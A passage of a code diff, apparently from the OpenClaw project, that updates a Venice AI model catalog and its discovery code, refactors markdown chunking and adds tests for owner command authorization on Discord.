"llama-3.3-70b", + model_spec: { + name: "llama-3.3-70b", + privacy: "private", + availableContextTokens: 131072, + maxCompletionTokens: 2048, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: true, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const llama = models.find((m) => m.id === "llama-3.3-70b"); + expect(llama?.maxTokens).toBe(2048); + }); + + it("retains catalog maxTokens when the API omits maxCompletionTokens", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "qwen3-235b-a22b-instruct-2507", + model_spec: { + name: "qwen3-235b-a22b-instruct-2507", + privacy: "private", + availableContextTokens: 131072, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: true, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const qwen = models.find((m) => m.id === "qwen3-235b-a22b-instruct-2507"); + expect(qwen?.maxTokens).toBe(16384); + }); + + it("disables tools for catalog models that do not support function calling", () => { + const model = buildVeniceModelDefinition( + VENICE_MODEL_CATALOG.find((entry) => entry.id === "deepseek-v3.2")!, + ); + expect(model.compat?.supportsTools).toBe(false); + }); + + it("uses a conservative bounded maxTokens value for new models", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "new-model-2026", + model_spec: { + name: "new-model-2026", + privacy: "private", + availableContextTokens: 50_000, + maxCompletionTokens: 200_000, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: false, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const newModel = models.find((m) => m.id === "new-model-2026"); + expect(newModel?.maxTokens).toBe(50000); + expect(newModel?.maxTokens).toBeLessThanOrEqual(newModel?.contextWindow ?? Infinity); + expect(newModel?.compat?.supportsTools).toBe(false); + }); + + it("caps new-model maxTokens to the fallback context window when API context is missing", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "new-model-without-context", + model_spec: { + name: "new-model-without-context", + privacy: "private", + maxCompletionTokens: 200_000, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: true, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const newModel = models.find((m) => m.id === "new-model-without-context"); + expect(newModel?.contextWindow).toBe(128000); + expect(newModel?.maxTokens).toBe(128000); + }); + + it("ignores missing capabilities on partial metadata instead of aborting discovery", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "llama-3.3-70b", + model_spec: { + name: "llama-3.3-70b", + privacy: "private", + availableContextTokens: 131072, + maxCompletionTokens: 2048, + }, + }, + { + id: "new-model-partial", + model_spec: { + name: "new-model-partial", + privacy: "private", + maxCompletionTokens: 2048, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const knownModel = models.find((m) => m.id === "llama-3.3-70b"); + const partialModel = models.find((m) => m.id === "new-model-partial"); + expect(models).not.toHaveLength(VENICE_MODEL_CATALOG.length); + expect(knownModel?.maxTokens).toBe(2048); + expect(partialModel?.contextWindow).toBe(128000); + expect(partialModel?.maxTokens).toBe(2048); + expect(partialModel?.compat?.supportsTools).toBeUndefined(); + }); + + it("keeps known models discoverable when a row omits model_spec", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: "llama-3.3-70b", + }, + { + id: "new-model-valid", + model_spec: { + name: "new-model-valid", + privacy: "private", + availableContextTokens: 32_000, + maxCompletionTokens: 2_048, + capabilities: { + supportsReasoning: false, + supportsVision: false, + supportsFunctionCalling: true, + }, + }, + }, + ], + }), + { + status: 200, + headers: { "Content-Type": "application/json" }, + }, + ), + ); + vi.stubGlobal("fetch", fetchMock as unknown as typeof fetch); + + const models = await runWithDiscoveryEnabled(() => discoverVeniceModels()); + const knownModel = models.find((m) => m.id === "llama-3.3-70b"); + const newModel = models.find((m) => m.id === "new-model-valid"); + expect(models).not.toHaveLength(VENICE_MODEL_CATALOG.length); + expect(knownModel?.maxTokens).toBe(4096); + expect(newModel?.contextWindow).toBe(32000); + expect(newModel?.maxTokens).toBe(2048); + }); + it("falls back to static catalog after retry budget is exhausted", async () => { const fetchMock = vi.fn(async () => { throw Object.assign(new TypeError("fetch failed"), { diff --git a/src/agents/venice-models.ts b/src/agents/venice-models.ts index b33b51c60a8..2e6dae6bac9 100644 --- a/src/agents/venice-models.ts +++ b/src/agents/venice-models.ts @@ -5,7 +5,7 @@ import { createSubsystemLogger } from "../logging/subsystem.js"; const log = createSubsystemLogger("venice-models"); export const VENICE_BASE_URL = "https://api.venice.ai/api/v1"; -export const VENICE_DEFAULT_MODEL_ID = "llama-3.3-70b"; +export const VENICE_DEFAULT_MODEL_ID = "kimi-k2-5"; export const VENICE_DEFAULT_MODEL_REF = `venice/${VENICE_DEFAULT_MODEL_ID}`; // Venice uses credit-based pricing, not per-token costs. @@ -17,6 +17,9 @@ export const VENICE_DEFAULT_COST = { cacheWrite: 0, }; +const VENICE_DEFAULT_CONTEXT_WINDOW = 128_000; +const VENICE_DEFAULT_MAX_TOKENS = 4096; +const VENICE_DISCOVERY_HARD_MAX_TOKENS = 131_072; const VENICE_DISCOVERY_TIMEOUT_MS = 10_000; const VENICE_DISCOVERY_RETRYABLE_HTTP_STATUS = new Set([408, 425, 429, 500, 502, 503, 504]); const VENICE_DISCOVERY_RETRYABLE_NETWORK_CODES = new Set([ @@ -59,8 +62,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Llama 3.3 70B", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 4096, privacy: "private", }, { @@ -68,8 +71,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Llama 3.2 3B", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 4096, privacy: "private", }, { @@ -77,8 +80,9 @@ export const VENICE_MODEL_CATALOG = [ name: "Hermes 3 Llama 3.1 405B", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 16384, + supportsTools: false, privacy: "private", }, @@ -88,8 +92,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 235B Thinking", reasoning: true, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 16384, privacy: "private", }, { @@ -97,8 +101,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 235B Instruct", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 16384, privacy: "private", }, { @@ -106,8 +110,26 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 Coder 480B", reasoning: false, input: ["text"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, + privacy: "private", + }, + { + id: "qwen3-coder-480b-a35b-instruct-turbo", + name: "Qwen3 Coder 480B Turbo", + reasoning: false, + input: ["text"], + contextWindow: 256000, + maxTokens: 65536, + privacy: "private", + }, + { + id: "qwen3-5-35b-a3b", + name: "Qwen3.5 35B A3B", + reasoning: true, + input: ["text", "image"], + contextWindow: 256000, + maxTokens: 65536, privacy: "private", }, { @@ -115,8 +137,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 Next 80B", reasoning: false, input: ["text"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 16384, privacy: "private", }, { @@ -124,8 +146,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Qwen3 VL 235B (Vision)", reasoning: false, input: ["text", "image"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 16384, privacy: "private", }, { @@ -133,8 +155,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Venice Small (Qwen3 4B)", reasoning: true, input: ["text"], - contextWindow: 32768, - maxTokens: 8192, + contextWindow: 32000, + maxTokens: 4096, privacy: "private", }, @@ -144,8 +166,9 @@ export const VENICE_MODEL_CATALOG = [ name: "DeepSeek V3.2", reasoning: true, input: ["text"], - contextWindow: 163840, - maxTokens: 8192, + contextWindow: 160000, + maxTokens: 32768, + supportsTools: false, privacy: "private", }, @@ -155,8 +178,9 @@ export const VENICE_MODEL_CATALOG = [ name: "Venice Uncensored (Dolphin-Mistral)", reasoning: false, input: ["text"], - contextWindow: 32768, - maxTokens: 8192, + contextWindow: 32000, + maxTokens: 4096, + supportsTools: false, privacy: "private", }, { @@ -164,8 +188,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Venice Medium (Mistral)", reasoning: false, input: ["text", "image"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 4096, privacy: "private", }, @@ -175,8 +199,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Google Gemma 3 27B Instruct", reasoning: false, input: ["text", "image"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 16384, privacy: "private", }, { @@ -184,8 +208,35 @@ export const VENICE_MODEL_CATALOG = [ name: "OpenAI GPT OSS 120B", reasoning: false, input: ["text"], - contextWindow: 131072, - maxTokens: 8192, + contextWindow: 128000, + maxTokens: 16384, + privacy: "private", + }, + { + id: "nvidia-nemotron-3-nano-30b-a3b", + name: "NVIDIA Nemotron 3 Nano 30B", + reasoning: false, + input: ["text"], + contextWindow: 128000, + maxTokens: 16384, + privacy: "private", + }, + { + id: "olafangensan-glm-4.7-flash-heretic", + name: "GLM 4.7 Flash Heretic", + reasoning: true, + input: ["text"], + contextWindow: 128000, + maxTokens: 24000, + privacy: "private", + }, + { + id: "zai-org-glm-4.6", + name: "GLM 4.6", + reasoning: false, + input: ["text"], + contextWindow: 198000, + maxTokens: 16384, privacy: "private", }, { @@ -193,8 +244,62 @@ export const VENICE_MODEL_CATALOG = [ name: "GLM 4.7", reasoning: true, input: ["text"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 16384, + privacy: "private", + }, + { + id: "zai-org-glm-4.7-flash", + name: "GLM 4.7 Flash", + reasoning: true, + input: ["text"], + contextWindow: 128000, + maxTokens: 16384, + privacy: "private", + }, + { + id: "zai-org-glm-5", + name: "GLM 5", + reasoning: true, + input: ["text"], + contextWindow: 198000, + maxTokens: 32000, + privacy: "private", + }, + { + id: "kimi-k2-5", + name: "Kimi K2.5", + reasoning: true, + input: ["text", "image"], + contextWindow: 256000, + maxTokens: 65536, + privacy: "private", + }, + { + id: "kimi-k2-thinking", + name: "Kimi K2 Thinking", + reasoning: true, + input: ["text"], + contextWindow: 256000, + maxTokens: 65536, + privacy: "private", + }, + { + id: "minimax-m21", + name: "MiniMax M2.1", + reasoning: true, + input: ["text"], + contextWindow: 198000, + maxTokens: 32768, + privacy: "private", + }, + { + id: "minimax-m25", + name: "MiniMax M2.5", + reasoning: true, + input: ["text"], + contextWindow: 198000, + maxTokens: 32768, privacy: "private", }, @@ -205,21 +310,39 @@ export const VENICE_MODEL_CATALOG = [ // Anthropic (via Venice) { - id: "claude-opus-45", + id: "claude-opus-4-5", name: "Claude Opus 4.5 (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 32768, privacy: "anonymized", }, { - id: "claude-sonnet-45", + id: "claude-opus-4-6", + name: "Claude Opus 4.6 (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 1000000, + maxTokens: 128000, + privacy: "anonymized", + }, + { + id: "claude-sonnet-4-5", name: "Claude Sonnet 4.5 (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 64000, + privacy: "anonymized", + }, + { + id: "claude-sonnet-4-6", + name: "Claude Sonnet 4.6 (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 1000000, + maxTokens: 64000, privacy: "anonymized", }, @@ -229,8 +352,8 @@ export const VENICE_MODEL_CATALOG = [ name: "GPT-5.2 (via Venice)", reasoning: true, input: ["text"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, privacy: "anonymized", }, { @@ -238,8 +361,44 @@ export const VENICE_MODEL_CATALOG = [ name: "GPT-5.2 Codex (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, + privacy: "anonymized", + }, + { + id: "openai-gpt-53-codex", + name: "GPT-5.3 Codex (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 400000, + maxTokens: 128000, + privacy: "anonymized", + }, + { + id: "openai-gpt-54", + name: "GPT-5.4 (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 1000000, + maxTokens: 131072, + privacy: "anonymized", + }, + { + id: "openai-gpt-4o-2024-11-20", + name: "GPT-4o (via Venice)", + reasoning: false, + input: ["text", "image"], + contextWindow: 128000, + maxTokens: 16384, + privacy: "anonymized", + }, + { + id: "openai-gpt-4o-mini-2024-07-18", + name: "GPT-4o Mini (via Venice)", + reasoning: false, + input: ["text", "image"], + contextWindow: 128000, + maxTokens: 16384, privacy: "anonymized", }, @@ -249,8 +408,17 @@ export const VENICE_MODEL_CATALOG = [ name: "Gemini 3 Pro (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 198000, + maxTokens: 32768, + privacy: "anonymized", + }, + { + id: "gemini-3-1-pro-preview", + name: "Gemini 3.1 Pro (via Venice)", + reasoning: true, + input: ["text", "image"], + contextWindow: 1000000, + maxTokens: 32768, privacy: "anonymized", }, { @@ -258,8 +426,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Gemini 3 Flash (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 65536, privacy: "anonymized", }, @@ -269,8 +437,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Grok 4.1 Fast (via Venice)", reasoning: true, input: ["text", "image"], - contextWindow: 262144, - maxTokens: 8192, + contextWindow: 1000000, + maxTokens: 30000, privacy: "anonymized", }, { @@ -278,28 +446,8 @@ export const VENICE_MODEL_CATALOG = [ name: "Grok Code Fast 1 (via Venice)", reasoning: true, input: ["text"], - contextWindow: 262144, - maxTokens: 8192, - privacy: "anonymized", - }, - - // Other anonymized models - { - id: "kimi-k2-thinking", - name: "Kimi K2 Thinking (via Venice)", - reasoning: true, - input: ["text"], - contextWindow: 262144, - maxTokens: 8192, - privacy: "anonymized", - }, - { - id: "minimax-m21", - name: "MiniMax M2.5 (via Venice)", - reasoning: true, - input: ["text"], - contextWindow: 202752, - maxTokens: 8192, + contextWindow: 256000, + maxTokens: 10000, privacy: "anonymized", }, ] as const; @@ -326,6 +474,7 @@ export function buildVeniceModelDefinition(entry: VeniceCatalogEntry): ModelDefi // See: https://github.com/openclaw/openclaw/issues/15819 compat: { supportsUsageInStreaming: false, + ...("supportsTools" in entry && !entry.supportsTools ? { supportsTools: false } : {}), }, }; } @@ -334,17 +483,18 @@ export function buildVeniceModelDefinition(entry: VeniceCatalogEntry): ModelDefi interface VeniceModelSpec { name: string; privacy: "private" | "anonymized"; - availableContextTokens: number; - capabilities: { - supportsReasoning: boolean; - supportsVision: boolean; - supportsFunctionCalling: boolean; + availableContextTokens?: number; + maxCompletionTokens?: number; + capabilities?: { + supportsReasoning?: boolean; + supportsVision?: boolean; + supportsFunctionCalling?: boolean; }; } interface VeniceModel { id: string; - model_spec: VeniceModelSpec; + model_spec?: VeniceModelSpec; } interface VeniceModelsResponse { @@ -412,6 +562,36 @@ function isRetryableVeniceDiscoveryError(err: unknown): boolean { return hasRetryableNetworkCode(err); } +function normalizePositiveInt(value: unknown): number | undefined { + if (typeof value !== "number" || !Number.isFinite(value) || value <= 0) { + return undefined; + } + return Math.floor(value); +} + +function resolveApiMaxCompletionTokens(params: { + apiModel: VeniceModel; + knownMaxTokens?: number; +}): number | undefined { + const raw = normalizePositiveInt(params.apiModel.model_spec?.maxCompletionTokens); + if (!raw) { + return undefined; + } + const contextWindow = normalizePositiveInt(params.apiModel.model_spec?.availableContextTokens); + const knownMaxTokens = + typeof params.knownMaxTokens === "number" && Number.isFinite(params.knownMaxTokens) + ? Math.floor(params.knownMaxTokens) + : undefined; + const hardCap = knownMaxTokens ?? VENICE_DISCOVERY_HARD_MAX_TOKENS; + const fallbackContextWindow = knownMaxTokens ?? VENICE_DEFAULT_CONTEXT_WINDOW; + return Math.min(raw, contextWindow ?? fallbackContextWindow, hardCap); +} + +function resolveApiSupportsTools(apiModel: VeniceModel): boolean | undefined { + const supportsFunctionCalling = apiModel.model_spec?.capabilities?.supportsFunctionCalling; + return typeof supportsFunctionCalling === "boolean" ? supportsFunctionCalling : undefined; +} + /** * Discover models from Venice API with fallback to static catalog. * The /models endpoint is public and doesn't require authentication. @@ -468,30 +648,50 @@ export async function discoverVeniceModels(): Promise { for (const apiModel of data.data) { const catalogEntry = catalogById.get(apiModel.id); + const apiMaxTokens = resolveApiMaxCompletionTokens({ + apiModel, + knownMaxTokens: catalogEntry?.maxTokens, + }); + const apiSupportsTools = resolveApiSupportsTools(apiModel); if (catalogEntry) { - // Use catalog metadata for known models - models.push(buildVeniceModelDefinition(catalogEntry)); + const definition = buildVeniceModelDefinition(catalogEntry); + if (apiMaxTokens !== undefined) { + definition.maxTokens = apiMaxTokens; + } + // We only let live discovery disable tools. Re-enabling tool support still + // requires a catalog update so a transient/bad /models response cannot + // silently expand the tool execution surface for known models. + if (apiSupportsTools === false) { + definition.compat = { + ...definition.compat, + supportsTools: false, + }; + } + models.push(definition); } else { // Create definition for newly discovered models not in catalog + const apiSpec = apiModel.model_spec; const isReasoning = - apiModel.model_spec.capabilities.supportsReasoning || + apiSpec?.capabilities?.supportsReasoning || apiModel.id.toLowerCase().includes("thinking") || apiModel.id.toLowerCase().includes("reason") || apiModel.id.toLowerCase().includes("r1"); - const hasVision = apiModel.model_spec.capabilities.supportsVision; + const hasVision = apiSpec?.capabilities?.supportsVision === true; models.push({ id: apiModel.id, - name: apiModel.model_spec.name || apiModel.id, + name: apiSpec?.name || apiModel.id, reasoning: isReasoning, input: hasVision ? ["text", "image"] : ["text"], cost: VENICE_DEFAULT_COST, - contextWindow: apiModel.model_spec.availableContextTokens || 128000, - maxTokens: 8192, + contextWindow: + normalizePositiveInt(apiSpec?.availableContextTokens) ?? VENICE_DEFAULT_CONTEXT_WINDOW, + maxTokens: apiMaxTokens ?? VENICE_DEFAULT_MAX_TOKENS, // Avoid usage-only streaming chunks that can break OpenAI-compatible parsers. compat: { supportsUsageInStreaming: false, + ...(apiSupportsTools === false ? { supportsTools: false } : {}), }, }); } diff --git a/src/auto-reply/chunk.test.ts b/src/auto-reply/chunk.test.ts index f6ae74d909d..07b40069d57 100644 --- a/src/auto-reply/chunk.test.ts +++ b/src/auto-reply/chunk.test.ts @@ -1,4 +1,5 @@ -import { describe, expect, it } from "vitest"; +import { describe, expect, it, vi } from "vitest"; +import * as fences from "../markdown/fences.js"; import { hasBalancedFences } from "../test-utils/chunk-test-helpers.js"; import { chunkByNewline, @@ -217,6 +218,17 @@ describe("chunkMarkdownText", () => { expect(chunks[0]?.length).toBe(20); expect(chunks.join("")).toBe(text); }); + + it("parses fence spans once for long fenced payloads", () => { + const parseSpy = vi.spyOn(fences, "parseFenceSpans"); + const text = `\`\`\`txt\n${"line\n".repeat(600)}\`\`\``; + + const chunks = chunkMarkdownText(text, 80); + + expect(chunks.length).toBeGreaterThan(2); + expect(parseSpy).toHaveBeenCalledTimes(1); + parseSpy.mockRestore(); + }); }); describe("chunkByNewline", () => { diff --git a/src/auto-reply/chunk.ts b/src/auto-reply/chunk.ts index 780d57a1f5b..9d16f36d532 100644 --- a/src/auto-reply/chunk.ts +++ b/src/auto-reply/chunk.ts @@ -306,7 +306,7 @@ export function chunkText(text: string, limit: number): string[] { } return chunkTextByBreakResolver(text, limit, (window) => { // 1) Prefer a newline break inside the window (outside parentheses). - const { lastNewline, lastWhitespace } = scanParenAwareBreakpoints(window); + const { lastNewline, lastWhitespace } = scanParenAwareBreakpoints(window, 0, window.length); // 2) Otherwise prefer the last whitespace (word boundary) inside the window. return lastNewline > 0 ? lastNewline : lastWhitespace; }); @@ -319,14 +319,24 @@ export function chunkMarkdownText(text: string, limit: number): string[] { } const chunks: string[] = []; - let remaining = text; + const spans = parseFenceSpans(text); + let start = 0; + let reopenFence: ReturnType | undefined; - while (remaining.length > limit) { - const spans = parseFenceSpans(remaining); - const window = remaining.slice(0, limit); + while (start < text.length) { + const reopenPrefix = reopenFence ? `${reopenFence.openLine}\n` : ""; + const contentLimit = Math.max(1, limit - reopenPrefix.length); + if (text.length - start <= contentLimit) { + const finalChunk = `${reopenPrefix}${text.slice(start)}`; + if (finalChunk.length > 0) { + chunks.push(finalChunk); + } + break; + } - const softBreak = pickSafeBreakIndex(window, spans); - let breakIdx = softBreak > 0 ? softBreak : limit; + const windowEnd = Math.min(text.length, start + contentLimit); + const softBreak = pickSafeBreakIndex(text, start, windowEnd, spans); + let breakIdx = softBreak > start ? softBreak : windowEnd; const initialFence = isSafeFenceBreak(spans, breakIdx) ? undefined @@ -335,38 +345,38 @@ export function chunkMarkdownText(text: string, limit: number): string[] { let fenceToSplit = initialFence; if (initialFence) { const closeLine = `${initialFence.indent}${initialFence.marker}`; - const maxIdxIfNeedNewline = limit - (closeLine.length + 1); + const maxIdxIfNeedNewline = start + (contentLimit - (closeLine.length + 1)); - if (maxIdxIfNeedNewline <= 0) { + if (maxIdxIfNeedNewline <= start) { fenceToSplit = undefined; - breakIdx = limit; + breakIdx = windowEnd; } else { const minProgressIdx = Math.min( - remaining.length, - initialFence.start + initialFence.openLine.length + 2, + text.length, + Math.max(start + 1, initialFence.start + initialFence.openLine.length + 2), ); - const maxIdxIfAlreadyNewline = limit - closeLine.length; + const maxIdxIfAlreadyNewline = start + (contentLimit - closeLine.length); let pickedNewline = false; - let lastNewline = remaining.lastIndexOf("\n", Math.max(0, maxIdxIfAlreadyNewline - 1)); - while (lastNewline !== -1) { + let lastNewline = text.lastIndexOf("\n", Math.max(start, maxIdxIfAlreadyNewline - 1)); + while (lastNewline >= start) { const candidateBreak = lastNewline + 1; if (candidateBreak < minProgressIdx) { break; } const candidateFence = findFenceSpanAt(spans, candidateBreak); if (candidateFence && candidateFence.start === initialFence.start) { - breakIdx = Math.max(1, candidateBreak); + breakIdx = candidateBreak; pickedNewline = true; break; } - lastNewline = remaining.lastIndexOf("\n", lastNewline - 1); + lastNewline = text.lastIndexOf("\n", lastNewline - 1); } if (!pickedNewline) { if (minProgressIdx > maxIdxIfAlreadyNewline) { fenceToSplit = undefined; - breakIdx = limit; + breakIdx = windowEnd; } else { breakIdx = Math.max(minProgressIdx, maxIdxIfNeedNewline); } @@ -378,68 +388,72 @@ export function chunkMarkdownText(text: string, limit: number): string[] { fenceAtBreak && fenceAtBreak.start === initialFence.start ? fenceAtBreak : undefined; } - let rawChunk = remaining.slice(0, breakIdx); - if (!rawChunk) { + const rawContent = text.slice(start, breakIdx); + if (!rawContent) { break; } - const brokeOnSeparator = breakIdx < remaining.length && /\s/.test(remaining[breakIdx]); - const nextStart = Math.min(remaining.length, breakIdx + (brokeOnSeparator ? 1 : 0)); - let next = remaining.slice(nextStart); + let rawChunk = `${reopenPrefix}${rawContent}`; + const brokeOnSeparator = breakIdx < text.length && /\s/.test(text[breakIdx]); + let nextStart = Math.min(text.length, breakIdx + (brokeOnSeparator ? 1 : 0)); if (fenceToSplit) { const closeLine = `${fenceToSplit.indent}${fenceToSplit.marker}`; rawChunk = rawChunk.endsWith("\n") ? `${rawChunk}${closeLine}` : `${rawChunk}\n${closeLine}`; - next = `${fenceToSplit.openLine}\n${next}`; + reopenFence = fenceToSplit; } else { - next = stripLeadingNewlines(next); + nextStart = skipLeadingNewlines(text, nextStart); + reopenFence = undefined; } chunks.push(rawChunk); - remaining = next; - } - - if (remaining.length) { - chunks.push(remaining); + start = nextStart; } return chunks; } -function stripLeadingNewlines(value: string): string { - let i = 0; +function skipLeadingNewlines(value: string, start = 0): number { + let i = start; while (i < value.length && value[i] === "\n") { i++; } - return i > 0 ? value.slice(i) : value; + return i; } -function pickSafeBreakIndex(window: string, spans: ReturnType): number { - const { lastNewline, lastWhitespace } = scanParenAwareBreakpoints(window, (index) => +function pickSafeBreakIndex( + text: string, + start: number, + end: number, + spans: ReturnType, +): number { + const { lastNewline, lastWhitespace } = scanParenAwareBreakpoints(text, start, end, (index) => isSafeFenceBreak(spans, index), ); - if (lastNewline > 0) { + if (lastNewline > start) { return lastNewline; } - if (lastWhitespace > 0) { + if (lastWhitespace > start) { return lastWhitespace; } return -1; } function scanParenAwareBreakpoints( - window: string, + text: string, + start: number, + end: number, isAllowed: (index: number) => boolean = () => true, ): { lastNewline: number; lastWhitespace: number } { let lastNewline = -1; let lastWhitespace = -1; let depth = 0; - for (let i = 0; i < window.length; i++) { + for (let i = start; i < end; i++) { if (!isAllowed(i)) { continue; } - const char = window[i]; + const char = text[i]; if (char === "(") { depth += 1; continue; diff --git a/src/auto-reply/command-auth.owner-default.test.ts b/src/auto-reply/command-auth.owner-default.test.ts new file mode 100644 index 00000000000..d2f99c1a995 --- /dev/null +++ b/src/auto-reply/command-auth.owner-default.test.ts @@ -0,0 +1,139 @@ +import { describe, expect, it } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; +import { resolveCommandAuthorization } from "./command-auth.js"; +import type { MsgContext } from "./templating.js"; +import { installDiscordRegistryHooks } from "./test-helpers/command-auth-registry-fixture.js"; + +installDiscordRegistryHooks(); + +describe("senderIsOwner only reflects explicit owner authorization", () => { + it("does not treat direct-message senders as owners when no ownerAllowFrom is configured", () => { + const cfg = { + channels: { discord: {} }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + ChatType: "direct", + From: "discord:123", + SenderId: "123", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(false); + expect(auth.isAuthorizedSender).toBe(true); + }); + + it("does not treat group-chat senders as owners when no ownerAllowFrom is configured", () => { + const cfg = { + channels: { discord: {} }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + ChatType: "group", + From: "discord:123", + SenderId: "123", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(false); + expect(auth.isAuthorizedSender).toBe(true); + }); + + it("senderIsOwner is false when ownerAllowFrom is configured and sender does not match", () => { + const cfg = { + channels: { discord: {} }, + commands: { ownerAllowFrom: ["456"] }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + From: "discord:789", + SenderId: "789", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(false); + }); + + it("senderIsOwner is true when ownerAllowFrom matches sender", () => { + const cfg = { + channels: { discord: {} }, + commands: { ownerAllowFrom: ["456"] }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + From: "discord:456", + SenderId: "456", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(true); + }); + + it("senderIsOwner is true when ownerAllowFrom is wildcard (*)", () => { + const cfg = { + channels: { discord: {} }, + commands: { ownerAllowFrom: ["*"] }, + } as OpenClawConfig; + + const ctx = { + Provider: "discord", + Surface: "discord", + From: "discord:anyone", + SenderId: "anyone", + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(true); + }); + + it("senderIsOwner is true for internal operator.admin sessions", () => { + const cfg = {} as OpenClawConfig; + + const ctx = { + Provider: "webchat", + Surface: "webchat", + GatewayClientScopes: ["operator.admin"], + } as MsgContext; + + const auth = resolveCommandAuthorization({ + ctx, + cfg, + commandAuthorized: true, + }); + + expect(auth.senderIsOwner).toBe(true); + }); +}); diff --git a/src/auto-reply/command-auth.ts b/src/auto-reply/command-auth.ts index ed37427d50b..583340c93cd 100644 --- a/src/auto-reply/command-auth.ts +++ b/src/auto-reply/command-auth.ts @@ -350,8 +350,8 @@ export function resolveCommandAuthorization(params: { isInternalMessageChannel(ctx.Provider) && Array.isArray(ctx.GatewayClientScopes) && ctx.GatewayClientScopes.includes("operator.admin"); - const senderIsOwner = senderIsOwnerByIdentity || senderIsOwnerByScope; const ownerAllowlistConfigured = ownerAllowAll || explicitOwners.length > 0; + const senderIsOwner = senderIsOwnerByIdentity || senderIsOwnerByScope || ownerAllowAll; const requireOwner = enforceOwner || ownerAllowlistConfigured; const isOwnerForCommands = !requireOwner ? true diff --git 